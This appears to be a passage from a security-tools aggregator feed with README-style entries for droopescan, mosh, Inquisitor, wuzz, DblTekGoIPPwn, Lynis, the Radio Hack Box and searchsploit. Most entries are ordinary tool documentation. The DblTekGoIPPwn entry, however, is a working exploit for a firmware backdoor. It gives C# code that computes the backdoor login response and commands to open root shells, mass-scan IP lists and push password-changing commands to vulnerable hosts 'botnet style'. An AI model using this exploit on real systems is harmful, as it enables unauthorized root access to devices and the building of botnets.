    Multiple URLs may be scanned utilising the -U or --url-file parameter. This parameter should be set to the path of a file which contains a list of URLs.
        droopescan scan drupal -U list_of_urls.txt
    The drupal parameter may also be ommited in this example. For each site, it will make several GET requests in order to perform CMS identification, and if the site is deemed to be a supported CMS, it is scanned and added to the output list. This can be useful, for example, to run droopescan across all your organisation's sites.
        droopescan scan -U list_of_urls.txt
    The code block below contains an example list of URLs, one per line:
    http://localhost/drupal/6.0/
    http://localhost/drupal/6.1/
    http://localhost/drupal/6.10/
    http://localhost/drupal/6.11/
    http://localhost/drupal/6.12/
    A file containing URLs and a value to override the default host header with separated by tabs or spaces is also OK for URL files. This can be handy when conducting a scan through a large range of hosts and you want to prevent unnecessary DNS queries. To clarify, an example below:
    192.168.1.1 example.org
    http://192.168.1.1/ example.org
    http://192.168.1.2/drupal/ example.org
    It is quite tempting to test whether the scanner works for a particular CMS by scanning the official site (e.g. wordpress.org for wordpress), but the official sites rarely run vainilla installations of their respective CMS or do unorthodox things. For example, wordpress.org runs the bleeding edge version of wordpress, which will not be identified as wordpress by droopescan at all because the checksums do not match any known wordpress version.

    Authentication.
    The application fully supports .netrc files and http_proxy environment variables.
    Use a .netrc file for basic authentication. An example netrc (a file named .netrc placed in your root home directory) file could look as follows:
    machine secret.google.com
    login admin@google.com
    password Winter01
    You can set the http_proxy and https_proxy variables. These allow you to set a parent HTTP proxy, in which you can handle more complex types of authentication (e.g. Fiddler, ZAP, Burp)
    export http_proxy='user:password@localhost:8080'
    export https_proxy='user:password@localhost:8080'
    droopescan scan drupal --url http://localhost/drupal
    WARNING: By design, to allow intercepting proxies and the testing of applications with bad SSL, droopescan allows self-signed or otherwise invalid certificates. ˙ ͜ʟ˙

    Output.
    This application supports both "standard output", meant for human consumption, or JSON, which is more suitable for machine consumption. This output is stable between major versions.
    This can be controlled with the --output flag. Some sample JSON output would look as follows (minus the excessive whitespace):
    {
    "themes": {
    "is_empty": true,
    "finds": [

    ]
    },
    "interesting urls": {
    "is_empty": false,
    "finds": [
    {
    "url": "https:\/\/www.drupal.org\/CHANGELOG.txt",
    "description": "Default changelog file."
    },
    {
    "url": "https:\/\/www.drupal.org\/user\/login",
    "description": "Default admin."
    }
    ]
    },
    "version": {
    "is_empty": false,
    "finds": [
    "7.29",
    "7.30",
    "7.31"
    ]
    },
    "plugins": {
    "is_empty": false,
    "finds": [
    {
    "url": "https:\/\/www.drupal.org\/sites\/all\/modules\/views\/",
    "name": "views"
    },
    [...snip...]
    ]
    }
    }
    Some attributes might be missing from the JSON object if parts of the scan are not ran.
    This is how multi-site output looks like; each line contains a valid JSON object as shown above.
        $ droopescan scan drupal -U six_and_above.txt -e v
    {"host": "http://localhost/drupal-7.6/", "version": {"is_empty": false, "finds": ["7.6"]}}
    {"host": "http://localhost/drupal-7.7/", "version": {"is_empty": false, "finds": ["7.7"]}}
    {"host": "http://localhost/drupal-7.8/", "version": {"is_empty": false, "finds": ["7.8"]}}
    {"host": "http://localhost/drupal-7.9/", "version": {"is_empty": false, "finds": ["7.9"]}}
    {"host": "http://localhost/drupal-7.10/", "version": {"is_empty": false, "finds": ["7.10"]}}
    {"host": "http://localhost/drupal-7.11/", "version": {"is_empty": false, "finds": ["7.11"]}}
    {"host": "http://localhost/drupal-7.12/", "version": {"is_empty": false, "finds": ["7.12"]}}
    {"host": "http://localhost/drupal-7.13/", "version": {"is_empty": false, "finds": ["7.13"]}}
    {"host": "http://localhost/drupal-7.14/", "version": {"is_empty": false, "finds": ["7.14"]}}
    {"host": "http://localhost/drupal-7.15/", "version": {"is_empty": false, "finds": ["7.15"]}}
    {"host": "http://localhost/drupal-7.16/", "version": {"is_empty": false, "finds": ["7.16"]}}
    {"host": "http://localhost/drupal-7.17/", "version": {"is_empty": false, "finds": ["7.17"]}}
    {"host": "http://localhost/drupal-7.18/", "version": {"is_empty": false, "finds": ["7.18"]}}
    {"host": "http://localhost/drupal-7.19/", "version": {"is_empty": false, "finds": ["7.19"]}}
    {"host": "http://localhost/drupal-7.20/", "version": {"is_empty": false, "finds": ["7.20"]}}
    {"host": "http://localhost/drupal-7.21/", "version": {"is_empty": false, "finds": ["7.21"]}}
    {"host": "http://localhost/drupal-7.22/", "version": {"is_empty": false, "finds": ["7.22"]}}
    {"host": "http://localhost/drupal-7.23/", "version": {"is_empty": false, "finds": ["7.23"]}}
    {"host": "http://localhost/drupal-7.24/", "version": {"is_empty": false, "finds": ["7.24"]}}
    {"host": "http://localhost/drupal-7.25/", "version": {"is_empty": false, "finds": ["7.25"]}}
    {"host": "http://localhost/drupal-7.26/", "version": {"is_empty": false, "finds": ["7.26"]}}
    {"host": "http://localhost/drupal-7.27/", "version": {"is_empty": false, "finds": ["7.27"]}}
    {"host": "http://localhost/drupal-7.28/", "version": {"is_empty": false, "finds": ["7.28"]}}
    {"host": "http://localhost/drupal-7.29/", "version": {"is_empty": false, "finds": ["7.29"]}}
    {"host": "http://localhost/drupal-7.30/", "version": {"is_empty": false, "finds": ["7.30"]}}
    {"host": "http://localhost/drupal-7.31/", "version": {"is_empty": false, "finds": ["7.31"]}}
    {"host": "http://localhost/drupal-7.32/", "version": {"is_empty": false, "finds": ["7.32"]}}
    {"host": "http://localhost/drupal-7.33/", "version": {"is_empty": false, "finds": ["7.33"]}}
    {"host": "http://localhost/drupal-7.34/", "version": {"is_empty": false, "finds": ["7.34"]}}

    Debug.
    When things are not going exactly your way, you can check why by using the --debug-requests command.
    Some output might look like this:
    computer:~/droopescan# droopescan scan silverstripe -u http://localhost -n 10 -e p --debug-requests
    [head] http://localhost/framework/... 403
    [head] http://localhost/cms/css/layout.css... 404
    [head] http://localhost/framework/css/UploadField.css... 200
    [head] http://localhost/misc/test/error/404/ispresent.html... 404
    [head] http://localhost/widgetextensions/... 404
    [head] http://localhost/orbit/... 404
    [head] http://localhost/sitemap/... 404
    [head] http://localhost/simplestspam/... 404
    [head] http://localhost/ecommerce_modifier_example/... 404
    [head] http://localhost/silverstripe-hashpath/... 404
    [head] http://localhost/timeline/... 404
    [head] http://localhost/silverstripe-hiddenfields/... 404
    [head] http://localhost/addressable/... 404
    [head] http://localhost/silverstripe-description/... 404
    [+] No plugins found.

    [+] Scan finished (0:00:00.058422 elapsed)
    The --debug paramter also exists and may be used to debug application internals.

    Stats.
    You can get an up to date report on the capabilities of the scanner by running the following command
        droopescan stats
    Some sample output might look as follows:
    Functionality available for ‘drupal’:
    - Enumerate plugins (XXXX plugins.)
    - Enumerate themes (XXXX themes.)
    - Enumerate interesting urls (X urls.)
    - Enumerate version (up to version X.X.X-alphaXX, X.XX, X.XX.)
    Functionality available for ‘joomla’:
    - Enumerate interesting urls (X urls.)
    - Enumerate version (up to version XX.X, X.X.X, X.X.XX.rcX.)
    Functionality available for ‘wordpress’:
    - Enumerate interesting urls (X urls.)
    - Enumerate version (up to version X.X.X, X.X.X, X.X.X.)
    Functionality available for ‘silverstripe’:
    - Enumerate plugins (XXX plugins.)
    - Enumerate themes (XX themes.)
    - Enumerate interesting urls (X urls.)
    - Enumerate version (up to version X.X.XX, X.X.XX, X.X.XX.)
    It is important to verify that the latest version available for the CMS installation is available within droopescan , as otherwise results may be inaccurate.

    Contribute.

    Create your own plugin.
    You can add suport for your favourite CMS. The process is actually quite simple, and a lot of information can be glimpsed by viewing the example.py file in the plugins/ folder.
    This file should serve well as a base for your implementation.
    You can create your own plugin for Joomla and enable it as follows:
    $ cp plugins/example.py plugins/joomla.py
    $ cp plugins.d/example.conf plugins.d/joomla.conf
    You then need to go to plugins/joomla.py and change a few things:
    • The class name needs to be Joomla.
    • The plugin label (located at Meta.label) needs to be changed to joomla.
    • At the end of the file, the register call needs to be modified to reflect the correct class name.
    • The exposed function, 'example', needs to be renamed to joomla.
        @controller.expose(help='example scanner')
    def joomla(self):
    self.plugin_init()
    We also need to change the plugins.d/joomla.conf file, and change it to the following:
    [joomla]
    enable_plugin = true
    We should now be in a state which looks as follows:
    $ droopescan scan joomla
    [+] --url parameter is required.
    Your next step would be to generate a valid plugin wordlist, a valid theme wordlist, a versions.xml file, and optionally a list of interesting URLs, as well as replace all variables that are in joomla.py with values that are correct for your implementation.
    The plugin needs to update automatically in order for a pull request to be accepted. Further documentation may be later made available, but for now, keep in mind that the update_version_check, update_version, update_plugins_check and update_plugins need to be implemented. For reference, please review the drupal.py file. This is required in order to ensure plugins are kept to date.

    Issues & Pull Requests.
    Pull requests that create new plugins are welcome provided that maintenance for those plugins is done automatically.
    Please remember to make your pull requests against the develoment branch rather than the master. Issues can be raised on the issue tracker here on GitHub.
    To run tests, some dependencies must be installed. Running the following commands will result in them being installed and the tests being ran:
        apt-get install libxslt1-dev libxml2-dev zlib1g-dev python python-pip python-dev python3 python3-pip python3-dev
    pip install -r requirements.txt -r requirements_test.txt
    pip3 install -r requirements.txt -r requirements_test.txt
    ./droopescan test
    You can run individual tests with the -s flag.
    ./droopescan test -s test_integration_drupal



    mosh - Mobile Shell replacement for SSH (more robust and responsive, especially over Wi-Fi, cellular, and long-distance links)

    $
    0
    0

    Mosh is a remote terminal application that supports intermittent connectivity, allows roaming, and provides speculative local echo and line editing of user keystrokes.
    It aims to support the typical interactive uses of SSH, plus:
    • Mosh keeps the session alive if the client goes to sleep and wakes up later, or temporarily loses its Internet connection.
    • Mosh allows the client and server to "roam" and change IP addresses, while keeping the connection alive. Unlike SSH, Mosh can be used while switching between Wi-Fi networks or from Wi-Fi to cellular data to wired Ethernet.
    • The Mosh client runs a predictive model of the server's behavior in the background and tries to guess intelligently how each keystroke will affect the screen state. When it is confident in its predictions, it will show them to the user while waiting for confirmation from the server. Most typing and uses of the left- and right-arrow keys can be echoed immediately.
      As a result, Mosh is usable on high-latency links, e.g. on a cellular data connection or spotty Wi-Fi. In distinction from previous attempts at local echo modes in other protocols, Mosh works properly with full-screen applications such as emacs, vi, alpine, and irssi, and automatically recovers from occasional prediction errors within an RTT. On high-latency links, Mosh underlines its predictions while they are outstanding and removes the underline when they are confirmed by the server.
    Mosh does not support X forwarding or the non-interactive uses of SSH, including port forwarding.

    Other features
    • Mosh adjusts its frame rate so as not to fill up network queues on slow links, so "Control-C" always works within an RTT to halt a runaway process.
    • Mosh warns the user when it has not heard from the server in a while.
    • Mosh supports lossy links that lose a significant fraction of their packets.
    • Mosh handles some Unicode edge cases better than SSH and existing terminal emulators by themselves, but requires a UTF-8 environment to run.
    • Mosh leverages SSH to set up the connection and authenticate users. Mosh does not contain any privileged (root) code.

    Getting Mosh
    The Mosh web site has information about packages for many operating systems, as well as instructions for building from source.
    Note that mosh-client receives an AES session key as an environment variable. If you are porting Mosh to a new operating system, please make sure that a running process's environment variables are not readable by other users. We have confirmed that this is the case on GNU/Linux, OS X, and FreeBSD.

    Usage
    The mosh-client binary must exist on the user's machine, and the mosh-server binary on the remote host.
    The user runs:
    $ mosh [user@]host
    If the mosh-client or mosh-server binaries live outside the user's $PATH , mosh accepts the arguments --client=PATH and --server=PATH to select alternate locations. More options are documented in the mosh(1) manual page.
    There are more examples and a FAQ on the Mosh web site.

    How it works
    The mosh program will SSH to user@host to establish the connection. SSH may prompt the user for a password or use public-key authentication to log in.
    From this point, mosh runs the mosh-server process (as the user) on the server machine. The server process listens on a high UDP port and sends its port number and an AES-128 secret key back to the client over SSH. The SSH connection is then shut down and the terminal session begins over UDP.
    If the client changes IP addresses, the server will begin sending to the client on the new IP address within a few seconds.
    To function, Mosh requires UDP datagrams to be passed between client and server. By default, mosh uses a port number between 60000 and 61000, but the user can select a particular port with the -p option. Please note that the -p option has no effect on the port used by SSH.

    Advice to distributors
    A note on compiler flags: Mosh is security-sensitive code. When making automated builds for a binary package, we recommend passing the option --enable-compile-warnings=error to ./configure . On GNU/Linux with g++ or clang++ , the package should compile cleanly with -Werror . Please report a bug if it doesn't.
    Where available, Mosh builds with a variety of binary hardening flags such as -fstack-protector-all , -D_FORTIFY_SOURCE=2 , etc. These provide proactive security against the possibility of a memory corruption bug in Mosh or one of the libraries it uses. For a full list of flags, search for HARDEN in configure.ac . The configure script detects which flags are supported by your compiler, and enables them automatically. To disable this detection, pass --disable-hardening to ./configure . Please report a bug if you have trouble with the default settings; we would like as many users as possible to be running a configuration as secure as possible.
    Mosh ships with a default optimization setting of -O2 . Some distributors have asked about changing this to -Os (which causes a compiler to prefer space optimizations to time optimizations). We have benchmarked with the included src/examples/benchmark program to test this. The results are that -O2 is 40% faster than -Os with g++ 4.6 on GNU/Linux, and 16% faster than -Os with clang++ 3.1 on Mac OS X. In both cases, -Os did produce a smaller binary (by up to 40%, saving almost 200 kilobytes on disk). While Mosh is not especially CPU intensive and mostly sits idle when the user is not typing, we think the results suggest that -O2 (the default) is preferable.

    More info


    inquisitor - OSINT Gathering Tool for Companies and Organizations

    $
    0
    0

    Inquisitor is a simple for gathering information on companies and organizations through the use of Open Source Intelligence (OSINT) sources.
    The key features of Inquisitor include:
    1. The ability to cascade the ownership label of an asset (e.g. if a Registrant Name is known to belong to the target organization, then the hosts and networks registered with that name shall be marked as belonging to the target organization)
    2. The ability transform assets into other potentially related assets through querying open sources such as Google and Shodan
    3. The ability to visualize the relationships of those assets through a zoomable pack layout
    It is heavily inspired from how Maltego operates, except in this tool, all transforms are performed automatically.

    Installation
    To install Inquisitor, simply clone the repository, enter it, and execute the installation script.
    git clone https://github.com/penafieljlm/inquisitor.git
    cd inquisitor
    pip install cython
    pip install unqlite
    python setup.py install

    Usage
    Inquisitor has five basic commands which include scan , status , classify , dump , and visualize .
    usage: inquisitor.py [-h] {scan,status,classify,dump,visualize} ...

    optional arguments:
    -h, --help show this help message and exit

    command:
    {scan,status,classify,dump,visualize}
    The action to perform.
    scan Search OSINT sources for intelligence based on known
    assets belonging to the target.
    status Prints out the current status of the specified
    intelligence database.
    classify Classifies an existing asset as either belonging or
    not belonging to the target. Adds a new asset with the
    specified classification if none is present.
    dump Dumps the contents of the database in JSON format
    visualize Create a D3.js visualization based on the contents of
    the specified intelligence database.

    Scan
    In scan mode, the tool runs all available transforms for all the assets you have in your Intelligence Database. Make sure to create API Keys for the various OSINT sources indicated below and provide it to the script lest the transforms using those sources be skipped. Also, make sure you seed your Intelligence Database with some known owned target assets using the classify command first because if the database does not contain any owned assets, there will be nothing to transform.
    usage: inquisitor.py scan [-h] [--google-dev-key GOOGLE_DEV_KEY]
    [--google-cse-id GOOGLE_CSE_ID]
    [--shodan-api-key SHODAN_API_KEY]
    DATABASE

    positional arguments:
    DATABASE The path to the intelligence database to use. If
    specified file does not exist, a new one will be
    created.

    optional arguments:
    -h, --help show this help message and exit
    --google-dev-key GOOGLE_DEV_KEY
    Specifies the developer key to use to query Google
    Custom Search. Visit the Google APIs Console
    (http://code.google.com/apis/console) to get an API
    key. If notspecified, the script will simply skip
    asset transforms that involve Google Search.
    --google-cse-id GOOGLE_CSE_ID
    Specifies the custom search engine to query. Visit the
    Google Custom Search Console
    (https://cse.google.com/cse/all) to create your own
    Google Custom Search Engine. If not specified, the
    script will simply skip asset transforms that involve
    Google Search.
    --shodan-api-key SHODAN_API_KEY
    Specifies the API key to use to query Shodan. Log into
    your Shodan account (https://www.shodan.io/) and look
    at the top right corner of the page in order to view
    your API key. If not specified, the script will simply
    skip asset transforms that involve Shodan.

    Status
    In status mode, the tool simply prints out a quick summary of the status of your scan database.
    usage: inquisitor.py status [-h] DATABASE

    positional arguments:
    DATABASE The path to the intelligence database to use. If specified file
    does not exist, a new one will be created.

    optional arguments:
    -h, --help show this help message and exit

    Classify
    In classify mode, you will be able to manually add assets and re-classify already existing assets in the Intelligence Database. You should use this command to seed your Intelligence Database with known owned target assets.
    usage: inquisitor.py classify [-h] [-ar REGISTRANT [REGISTRANT ...]]
    [-ur REGISTRANT [REGISTRANT ...]]
    [-rr REGISTRANT [REGISTRANT ...]]
    [-ab BLOCK [BLOCK ...]] [-ub BLOCK [BLOCK ...]]
    [-rb BLOCK [BLOCK ...]] [-ah HOST [HOST ...]]
    [-uh HOST [HOST ...]] [-rh HOST [HOST ...]]
    [-ae EMAIL [EMAIL ...]] [-ue EMAIL [EMAIL ...]]
    [-re EMAIL [EMAIL ...]]
    DATABASE

    positional arguments:
    DATABASE The path to the intelligence database to use. If
    specified file does not exist, a new one will be
    created.

    optional arguments:
    -h, --help show this help message and exit
    -ar REGISTRANT [REGISTRANT ...], --accept-registrant REGISTRANT [REGISTRANT ...]
    Specifies a registrant to classify as accepted.
    -ur REGISTRANT [REGISTRANT ...], --unmark-registrant REGISTRANT [REGISTRANT ...]
    Specifies a registrant to classify as unmarked.
    -rr REGISTRANT [REGISTRANT ...], --reject-registrant REGISTRANT [REGISTRANT ...]
    Specifies a registrant to classify as rejected.
    -ab BLOCK [BLOCK ...], --accept-block BLOCK [BLOCK ...]
    Specifies a block to classify as accepted.
    -ub BLOCK [BLOCK ...], --unmark-block BLOCK [BLOCK ...]
    Specifies a block to classify as unmarked.
    -rb BLOCK [BLOCK ...], --reject-block BLOCK [BLOCK ...]
    Specifies a block to classify as rejected.
    -ah HOST [HOST ...], --accept-host HOST [HOST ...]
    Specifies a host to classify as accepted.
    -uh HOST [HOST ...], --unmark-host HOST [HOST ...]
    Specifies a host to classify as unmarked.
    -rh HOST [HOST ...], --reject-host HOST [HOST ...]
    Specifies a host to classify as rejected.
    -ae EMAIL [EMAIL ...], --accept-email EMAIL [EMAIL ...]
    Specifies a email to classify as accepted.
    -ue EMAIL [EMAIL ...], --unmark-email EMAIL [EMAIL ...]
    Specifies a email to classify as unmarked.
    -re EMAIL [EMAIL ...], --reject-email EMAIL [EMAIL ...]
    Specifies a email to classify as rejected.

    Dump
    In dump mode, you will be able to dump the contents of the Intelligence Database into a human-readable JSON file.
    usage: inquisitor.py dump [-h] DATABASE JSON_FILE

    positional arguments:
    DATABASE The path to the intelligence database to use. If specified file
    does not exist, a new one will be created.
    JSON_FILE The path to dump the JSON file to. Overwrites existing files.

    optional arguments:
    -h, --help show this help message and exit

    Visualize
    In visualize mode, you will be able to acquire a hierarchical visualization of the Intelligence Repository.
    usage: inquisitor.py visualize [-h] DATABASE HTML_FILE

    positional arguments:
    DATABASE The path to the intelligence database to use. If specified file
    does not exist, a new one will be created.
    HTML_FILE The path to dump the visualization file to. Overwrites existing
    files.

    optional arguments:
    -h, --help show this help message and exit


    wuzz - Interactive CLI Tool for HTTP Inspection

    $
    0
    0

    Interactive cli tool for HTTP inspection
    Wuzz command line arguments are similar to cURL's arguments, so it can be used to inspect/modify requests copied from the browser's network inspector with the "copy as cURL" feature.

    Installation and usage
    $ go get github.com/asciimoo/wuzz
    $ "$GOPATH/bin/wuzz" --help

    Configuration
    It is possible to override default settings in a configuration file. The default location is "$XDG_CONFIG_HOME/wuzz/config.toml" on linux and ~/.wuzz/config.toml on other platforms. -c / --config switches can be used to load config file from custom location.
    See example configuration for more details.

    Commands
    Keybinding Description
    F1 Display help
    Ctrl+R Send request
    Ret Send request (only from URL view)
    Ctrl+S Save response
    Ctrl+C Quit
    Ctrl+K , Shift+Tab Previous view
    Ctlr+J , Tab Next view
    Alt+H Toggle history
    Down Move down one view line
    Up Move up one view line
    Page down Move down one view page
    Page up Move up one view page
    F2 Jump to URL
    F3 Jump to query parameters
    F4 Jump to HTTP method
    F5 Jump to request body
    F6 Jump to headers
    F7 Jump to search
    F8 Jump to response headers
    F9 Jump to response body

    TODO
    • Colors
    • Response specific filters (xpath, etc..)
    • Better navigation
    • File upload
    • Autocompletion
    • Tests



    DblTekGoIPPwn - Tool to check if an IP of a DblTek GoIP is vulnerable to a challenge-response login system, execute remote commands botnet style, and generate responses to challenges

    $
    0
    0

    Tool to exploit challenge response system in vulnerable DblTek GoIP devices. Can generate responses to specified challenges, test hosts for the vulnerability, run commands on vulnerable hosts, and drop into a root shell on any vulnerable host.

    The Vulnerability
    On March 2nd, 2017, Trustwave released a vulnerability that security researchers found in the DblTek GoIP VoIP Phone. The vulnerability was a backdoor in the firmware for an account named 'dbladm'. When a user entered this as their username in a telnet prompt, the system would present a challenge that when followed with the right response, gave the user a root shell on the system.
    The problem with such a challenge response system is that the devices are as secure as the algorithm for generating the responses, which was reverse engineered from firmware binaries provided by DblTek. Using this algorithm, a root shell can be aquired on ANY DblTek GoIP device.
    Original Article: https://www.trustwave.com/Resources/SpiderLabs-Blog/Undocumented-Backdoor-Account-in-DBLTek-GoIP/
    Using the description of the backdoor provided in the article, I was able to write what I believe to be some of the first exploit code for this vulnerability. The core of this is of course the algorithm to generate the response based on a given challenge. Here is a function to do this written in C#.
    static string ComputeResponse(string challengeStr)
    {
    int challenge = Convert.ToInt32(challengeStr.Substring(1)); // Get just the number after 'N'.

    string modified = (challenge + 20139 + (challenge >> 3)).ToString(); // Perform some dummy 1337 operations.

    byte[] buffer = new byte[64];
    // Copy the string into the first part of the buffer.
    for (int i = 0; i < modified.Length; i++)
    buffer[i] = (byte)modified[i];

    var md5 = MD5.Create();
    byte[] hash = md5.ComputeHash(buffer); // Calculate the MD5 of the buffer.

    StringBuilder sb = new StringBuilder(); // Will hold the results.
    // Take the unpadded hex value of the first six bytes of the MD5.
    for (int i = 0; i < 6; i++)
    sb.Append(hash[i].ToString("x"));

    return sb.ToString(); // Profit
    }

    DblTekGoIPPwn Command Line Interface (CLI)
    When DblTekPwn is ran without arguments, the help is displayed. This is the output:
    USAGE: DblTekPwn.exe [MODE] [HOSTS] [OUTPUT]

    [MODE]:
    -c --compute-response [CHALLENGE] Computes a response to the given challenge.
    -r --root-shell Starts a root shell with the vulnerable host.
    -s --send-commands [COMMAND_FILE] Sends commands from a file to vulnerable hosts.
    -t --test Tests hosts and determines if they are vulnerable.
    -h --help Displays this help and exits.

    [HOSTS]:
    -n --name [IP] Specifies a single IP address.
    -f --file [IP_FILE] Specifies a file with IP\nIP\nIP.

    [OUTPUT]:
    -o --output [OUTPUT_FILE] Specifies an output file. Default stdin.

    Examples

    Getting a Root Shell on a Vulnerable System
    DblTekGoIPPwn makes it easy to get a root shell on any vulnerable system. Simply run the following command using the vulnerable IP.
    DblTekPwn.exe --root-shell --name 192.168.1.1
    You will see output that looks like this:
    Password: ***********
    From here you can begin entering commands (there is no shell prompt).

    Calculating a Challenge Response
    Say you wanted to calculate the response to a GoIP challenge N1746203308 . You would just run the following command.
    DblTekPwn --compute-response N1746203308
    The output will be the response:
    d6176d3aab2

    Checking a List of IPs
    Say you wished to check list.txt of IPs for GoIPs that are vulnerable and send this output to results.txt . First make sure that the IPs are in format ip:port (port is default 23) and that the IPs are seperated by a newline \n . The following command could then be ran.
    DblTekPwn.exe --test --file list.txt --output results.txt
    list.txt:
    192.168.1.0
    192.168.1.1
    192.168.1.2:1337
    192.168.1.3
    192.168.1.4:2323
    results.txt:
    192.168.1.0 False
    192.168.1.1 True
    192.168.1.2:1337 True
    192.168.1.3 False
    192.168.1.4:2323 False
    The False or True after the host indicates whether or not the IP is vulnerable.

    Sending Commands to a List of IPs
    Say you had a list of commands (which is really a list of telnet inputs) in cmds.txt to send to list.txt of IPs and send the output to results.txt . First make sure that the IPs are in format ip:port (port is default 23) and that BOTH the IPs AND commands are seperated by a newline \n in their respective files. The following command could then be ran.
    DblTekPwn.exe --send-commands cmds.txt --file list.txt --output results.txt
    list.txt:
    192.168.1.0
    192.168.1.1
    192.168.1.2:1337
    192.168.1.3
    192.168.1.4:2323
    cmds.txt:
    passwd root
    toor
    toor

    exit
    results.txt:
    192.168.1.0 False
    192.168.1.1 True
    192.168.1.2:1337 True
    192.168.1.3 False
    192.168.1.4:2323 False
    The False or True after the host indicates whether or not the connection was successfully made and the commands delivered.


    Lynis 2.4.7 - Security Auditing Tool for Unix/Linux Systems

    $
    0
    0

    We are excited to announce this major release of auditing tool Lynis. Several big changes have been made to core functions of Lynis. These changes are the next of simplification improvements we made. There is a risk of breaking your existing configuration.

    Lynis is an open source security auditing tool. Used by system administrators, security professionals, and auditors, to evaluate the security defenses of their Linux and UNIX-based systems. It runs on the host itself, so it performs more extensive security scans than vulnerability scanners.

    Supported operating systems

    The tool has almost no dependencies, therefore it runs on almost all Unix based systems and versions, including:
    • AIX
    • FreeBSD
    • HP-UX
    • Linux
    • Mac OS
    • NetBSD
    • OpenBSD
    • Solaris
    • and others
    It even runs on systems like the Raspberry Pi and several storage devices!

    Installation optional

    Lynis is light-weight and easy to use. Installation is optional: just copy it to a system, and use "./lynis audit system" to start the security scan. It is written in shell script and released as open source software (GPL). 

    How it works

    Lynis performs hundreds of individual tests, to determine the security state of the system. The security scan itself consists of performing a set of steps, from initialization the program, up to the report.

    Steps
    1. Determine operating system
    2. Search for available tools and utilities
    3. Check for Lynis update
    4. Run tests from enabled plugins
    5. Run security tests per category
    6. Report status of security scan
    Besides the data displayed on screen, all technical details about the scan are stored in a log file. Any findings (warnings, suggestions, data collection) are stored in a report file.

    Opportunistic scanning

    Lynis scanning is opportunistic: it uses what it can find.
    For example if it sees you are running Apache, it will perform an initial round of Apache related tests. When during the Apache scan it also discovers a SSL/TLS configuration, it will perform additional auditing steps on that. While doing that, it then will collect discovered certificates, so they can be scanned later as well.

    In-depth security scans

    By performing opportunistic scanning, the tool can run with almost no dependencies. The more it finds, the deeper the audit will be. In other words, Lynis will always perform scans which are customized to your system. No audit will be the same!

    Use cases

    Since Lynis is flexible, it is used for several different purposes. Typical use cases for Lynis include:
    • Security auditing
    • Compliance testing (e.g. PCI, HIPAA, SOx)
    • Vulnerability detection and scanning
    • System hardening

    Resources used for testing

    Many other tools use the same data files for performing tests. Since Lynis is not limited to a few common Linux distributions, it uses tests from standards and many custom ones not found in any other tool.
    • Best practices
    • CIS
    • NIST
    • NSA
    • OpenSCAP data
    • Vendor guides and recommendations (e.g. Debian Gentoo, Red Hat)

    Lynis Plugins

    lugins enable the tool to perform additional tests. They can be seen as an extension (or add-on) to Lynis, enhancing its functionality. One example is the compliance checking plugin, which performs specific tests only applicable to some standard.

    Changelog
    Upgrade note
    Lynis 2.4.7 (2017-03-22)

    Changes:
    * Minor code cleanups

    Tests:
    ------
    * BANN-7126 - Added more words to test for
    * CUPS-2308 - Improve logging for CUPS configuration test, removed exception handler
    * HTTP-6641 - Support detection for Apache module mod_reqtimeout
    * PKGS-7388 - Minor change to detect security repositories


    Radio Hack Box - Tool to Demonstrate Vulnerabilities in Wireless Input Devices

    $
    0
    0

    The SySS Radio Hack Box is a proof-of-concept software tool to demonstrate the replay and keystroke injection vulnerabilities of the wireless keyboard Cherry B.Unlimited AES.

    Requirements
    • Raspberry Pi
    • Raspberry Pi Radio Hack Box shield (a LCD, some LEDs, and some buttons)
    • nRF24LU1+ USB radio dongle with flashed nrf-research-firmware by the Bastille Threat Research Team, e. g.
    • Python2
    • PyUSB

    Automatic startup
    For automatically starting the Radio Hack Box process on the Raspberry Pi after a reboot, either use the provided init.d script or the following crontab entry:
    @reboot python2 /home/pi/radiohackbox/radiohackbox.py &

    Usage
    The Radio Hack Box currently has four simple push buttons for
    • start/stop recording
    • start playback (replay attack)
    • start attack (keystroke injection attack)
    • start scanning
    A graceful shutdown of the Radio Hack Box without corrupting the file system can be performed by pressing the SCAN button directly followed by the RECORD button.


    Demo Video
    A demo video illustrating replay and keystroke injection attacks against an AES encrypted wireless keyboard using the SySS Radio Hack Box a.k.a. Cherry Picker is available on YouTube:



    Pi Radio Hack Box Shield
    The hand-crafted Pi shield simply consists of an LCD, some LEDs, some buttons, resistors, and wires soldered to a perfboard.





    Exploit Database - The official Exploit Database Repository

    $
    0
    0

    The Exploit Database is an archive of public exploits and corresponding vulnerable software, developed for use by penetration testers and vulnerability researchers. Its aim is to serve as the most comprehensive collection of exploits gathered through direct submissions, mailing lists, and other public sources, and present them in a freely-available and easy-to-navigate database. The Exploit Database is a repository for exploits and proof-of-concepts rather than advisories, making it a valuable resource for those who need actionable data right away.

    This repository is updated daily with the most recently added submissions. Any additional resources can be found in our binary sploits repository.

    Included with this repository is the searchsploit utility, which will allow you to search through the exploits using one or more terms. For more information, please see the SearchSploit manual.

    root@kali:~# searchsploit -h
    Usage: searchsploit [options] term1 [term2] ... [termN]

    ==========
    Examples
    ==========
    searchsploit afd windows local
    searchsploit -t oracle windows
    searchsploit -p 39446

    =========
    Options
    =========
    -c, --case [Term] Perform a case-sensitive search (Default is inSEnsITiVe).
    -e, --exact [Term] Perform an EXACT match on exploit title (Default is AND) [Implies "-t"].
    -h, --help Show this help screen.
    -j, --json [Term] Show result in JSON format.
    -m, --mirror [EDB-ID] Mirror (aka copies) an exploit to the current working directory.
    -o, --overflow [Term] Exploit titles are allowed to overflow their columns.
    -p, --path [EDB-ID] Show the full path to an exploit (and also copies the path to the clipboard if possible).
    -t, --title [Term] Search JUST the exploit title (Default is title AND the file's path).
    -u, --update Check for and install any exploitdb package updates (deb or git).
    -w, --www [Term] Show URLs to Exploit-DB.com rather than the local path.
    -x, --examine [EDB-ID] Examine (aka opens) the exploit using $PAGER.
    --colour Disable colour highlighting in search results.
    --id Display the EDB-ID value rather than local path.
    --nmap [file.xml] Checks all results in Nmap's XML output with service version (e.g.: nmap -sV -oX file.xml).
    Use "-v" (verbose) to try even more combinations
    =======
    Notes
    =======
    * You can use any number of search terms.
    * Search terms are not case-sensitive (by default), and ordering is irrelevant.
    * Use '-c' if you wish to reduce results by case-sensitive searching.
    * And/Or '-e' if you wish to filter results by using an exact match.
    * Use '-t' to exclude the file's path to filter the search results.
    * Remove false positives (especially when searching using numbers - i.e. versions).
    * When updating from git or displaying help, search terms will be ignored.

    root@kali:~#
    root@kali:~# searchsploit afd windows local
    --------------------------------------------------------------------------------- ----------------------------------
    Exploit Title | Path
    | (/usr/share/exploitdb/platforms)
    --------------------------------------------------------------------------------- ----------------------------------
    Microsoft Windows XP - 'afd.sys' Local Kernel Denial of Service | ./windows/dos/17133.c
